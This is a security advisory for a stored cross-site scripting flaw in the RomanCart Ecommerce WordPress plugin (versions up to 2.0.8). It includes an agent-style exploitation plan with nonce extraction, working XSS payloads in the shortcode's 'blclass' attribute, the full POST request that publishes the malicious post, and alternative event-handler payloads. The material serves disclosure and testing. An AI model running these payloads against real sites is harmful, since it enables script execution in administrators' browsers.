RomanCart Ecommerce <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The RomanCart Ecommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blclass' attribute (and other attributes) of the romancart_button shortcode in versions up to, and including, 2.0.8. This is due to insufficient input sanitization and output escaping on user supplied attributes within the romancart_button_shortcode() function. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.0.8This exploitation research plan focuses on **CVE-2026-8880**, a Stored Cross-Site Scripting (XSS) vulnerability in the RomanCart Ecommerce plugin for WordPress. ### 1. Vulnerability Summary The `romancart_button` shortcode in the RomanCart Ecommerce plugin (versions <= 2.0.8) is vulnerable to Store…
Show full research plan
This exploitation research plan focuses on CVE-2026-8880, a Stored Cross-Site Scripting (XSS) vulnerability in the RomanCart Ecommerce plugin for WordPress.
1. Vulnerability Summary
The romancart_button shortcode in the RomanCart Ecommerce plugin (versions <= 2.0.8) is vulnerable to Stored XSS. The vulnerability exists within the romancart_button_shortcode() function, which fails to sanitize or escape user-supplied attributes—specifically the blclass attribute—before reflecting them in the HTML output of a post or page. Since Contributors can create and edit posts containing shortcodes, they can inject malicious scripts that execute in the context of any user (including administrators) who views the affected page.
2. Attack Vector Analysis
- Authentication Level: Authenticated (Contributor or higher).
- Injection Point: Post/Page content via the WordPress Editor (Gutenberg or Classic).
- Vulnerable Component: Shortcode
[romancart_button]. - Vulnerable Parameter:
blclassattribute. - Preconditions: The plugin must be active, and the attacker must have permissions to save a post (Draft or Published).
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode during the
inithook:add_shortcode('romancart_button', 'romancart_button_shortcode'); - Shortcode Processing: When a page containing the shortcode is rendered,
do_shortcode()invokes the callbackromancart_button_shortcode($atts). - Attribute Handling (Vulnerable Sink): The function likely extracts attributes without applying
esc_attr()orsanitize_html_class().- Inferred Logic:
function romancart_button_shortcode($atts) { $atts = shortcode_atts(array('blclass' => '', ...), $atts); $class = $atts['blclass']; // No sanitization return '<button class="' . $class . '">Buy Now</button>'; // No escaping }
- Inferred Logic:
- Output: The unescaped HTML is returned to the WordPress content filter and rendered in the user's browser.
4. Nonce Acquisition Strategy
To exploit this stored XSS, the attacker must submit a post containing the malicious shortcode. This requires the standard WordPress post-editing nonce (_wpnonce).
- Navigate to Editor: Use
browser_navigateto access the "New Post" page:/wp-admin/post-new.php. - Identify Nonce: The nonce is stored in a hidden input field with the ID
_wpnonce. - Extraction:
- Use
browser_evalto retrieve the nonce:browser_eval("document.querySelector('#_wpnonce').value") - For Gutenberg-based editors, the nonce may also be found in the
wpApiSettingsobject:browser_eval("window.wpApiSettings.nonce")
- Use
- Verification: If the plugin uses a specific AJAX handler for shortcode previews, look for a localized variable (e.g.,
romancart_vars.nonce), though this is unnecessary for the primary storage vector.
5. Exploitation Strategy
The goal is to store a shortcode attribute that breaks out of the HTML class attribute to inject a script.
- Authentication: Login to the WordPress instance as a user with the
contributorrole. - Acquire Nonce: Follow the steps in Section 4 to obtain the
_wpnonce. - Prepare Payload:
- The payload uses a double-quote to close the
classattribute, followed by an XSS vector. - Payload:
[romancart_button blclass='"><script>alert(document.domain)</script>']
- The payload uses a double-quote to close the
- Submit Request: Use the
http_requesttool to create a post.- Method:
POST - URL:
https://<target>/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:<ID_FROM_POST_NEW_PAGE>_wpnonce:<EXTRACTED_NONCE>post_title:Product Pagecontent:[romancart_button blclass='"><script>alert(document.domain)</script>']post_status:publish(ordraftfor preview-based exploitation)
- Method:
- Trigger Execution: Navigate to the URL of the newly created post as an Administrator.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Installation: Ensure RomanCart Ecommerce version 2.0.8 is installed and active.
- Target Page: Identify the ID of a draft post created by the contributor for the
editpostaction.
7. Expected Results
- Stored State: The
wp_poststable will contain the literal shortcode string in thepost_contentcolumn. - Rendered Output: When viewing the page source, the following HTML will be present:
<button class=""><script>alert(document.domain)</script>">Buy Now</button> - Execution: A JavaScript alert showing the site's domain will trigger upon page load.
8. Verification Steps
- Database Check:
wp post get <POST_ID> --field=post_content
Verify the shortcode and payload are stored. - Frontend Inspection:
Usehttp_request(GET) to the post's permalink and search for the<script>tag in the response body.
9. Alternative Approaches
- Event Handler Injection: If
<script>tags are filtered by a WAF, use an event handler:blclass='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"' - Other Attributes: The vulnerability description mentions "other attributes." If
blclassis patched, test parameters likestoreid,itemname, orpricefor similar lack of escaping in theromancart_button_shortcode()function. - Classic Editor vs. Gutenberg: If the block editor's REST API endpoint is used, the nonce and endpoint (
/wp-json/wp/v2/posts/<ID>) will change, but the core vulnerability in the shortcode rendering remains the same.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.